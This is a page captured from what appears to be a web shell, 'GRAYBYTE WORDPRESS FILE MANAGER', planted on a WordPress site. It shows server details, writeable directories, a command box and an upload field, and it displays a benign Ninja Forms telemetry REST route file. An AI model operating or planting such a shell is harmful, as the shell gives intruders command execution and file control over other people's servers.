GRAYBYTE WORDPRESS FILE MANAGER2971

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Routes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Routes//Telemetry.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Routes_SubmissionsActions
 */
final class NF_Routes_Telemetry extends NF_Abstracts_Routes
{
    
    /**
     * Register REST API routes related to Telemetry
     * 
     * @since 3.8.18
     * 
     * @route "nf-be-data/store"
     */
    function register_routes() {
        
        $opted_out = !has_filter( 'ninja_forms_settings_licenses_addons' ) && ( ! (bool) get_option( 'ninja_forms_allow_tracking' ) || (bool) get_option( 'ninja_forms_do_not_allow_tracking' ) );
        if(!$opted_out) {  
            register_rest_route('nf-be-data', 'store', array(
                'methods' => 'POST',
                'callback' => [ $this, 'nf_be_store_data' ],
                'permission_callback' => [ $this, 'nf_be_store_data_permission_callback' ]
            ));
        }
        
    }

    // Security check for the rest route
    function nf_be_store_data_permission_callback() {
        return is_user_logged_in();
    }

    // Action for the REST route
    function nf_be_store_data($request) {
        $data = json_decode($request['data'], true);
        if(!$data || $data[2] <= 0) {
            return new WP_REST_Response('Invalid data', 400);
        }
        $data[] = get_current_user_id();
        $stored_data = get_option('nf_be_data', []);
        $stored_data[] = $data;
        update_option('nf_be_data', $stored_data);
        return new WP_REST_Response('Data stored', 200);
    }

}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
giriqfky / giriqfky
0644
Submissions.php
34.091 KB
October 04 2023 20:07:10
giriqfky / giriqfky
0644
Telemetry.php
1.437 KB
November 18 2024 20:55:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF